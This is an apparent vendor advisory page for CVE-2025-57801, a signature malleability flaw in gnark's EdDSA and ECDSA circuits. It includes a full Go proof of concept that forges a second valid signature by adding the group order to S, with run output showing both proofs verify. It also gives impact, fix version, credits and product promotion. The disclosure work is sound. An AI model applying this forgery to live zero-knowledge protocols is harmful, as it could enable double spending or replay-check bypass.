Summary
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.
Exploitation
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness2: %v\n", err)
return
}
proof2, err := groth16.Prove(ccs, pk, witness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
publicWitness2, err := witness2.Public()
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
err = groth16.Verify(proof2, vk, publicWitness2)
if err != nil {
fmt.Println("Witness 2 (forged): Prover failed!")
} else {
fmt.Println("Witness 2 (forged): Prover succeeded!")
}
}
}
}
Result
go run multiple_witnesses.go
13:47:33 INF compiling circuit
13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3
13:47:33 INF building constraint builder nbConstraints=7003
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583
Witness 1 (honest): Prover succeeded!
true
true
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833
Witness 2 (forged): Prover succeeded!
Credits
XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine
SJTU Group of Software Security In Progress
Prof. Yu Yu's Lab at SJTU
Additional mitigation
The initial patch added check for s <= curve order, omitting the case s == curve order. Even though the case is unlikely to be exploitable (requires finding a preimage for H(R || A || M)), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.
Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.
CVE-2025-57801 has a CVSS score of 9.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.14.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-57801? CVE-2025-57801 is a high-severity security vulnerability in github.com/consensys/gnark (go), affecting versions < 0.14.0. It is fixed in 0.14.0.
- How severe is CVE-2025-57801? CVE-2025-57801 has a CVSS score of 9.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/consensys/gnark are affected by CVE-2025-57801? github.com/consensys/gnark (go) versions < 0.14.0 is affected.
- Is there a fix for CVE-2025-57801? Yes. CVE-2025-57801 is fixed in 0.14.0. Upgrade to this version or later.
- Is CVE-2025-57801 exploitable, and should I be worried? Whether CVE-2025-57801 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-57801 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-57801? Upgrade
github.com/consensys/gnarkto 0.14.0 or later.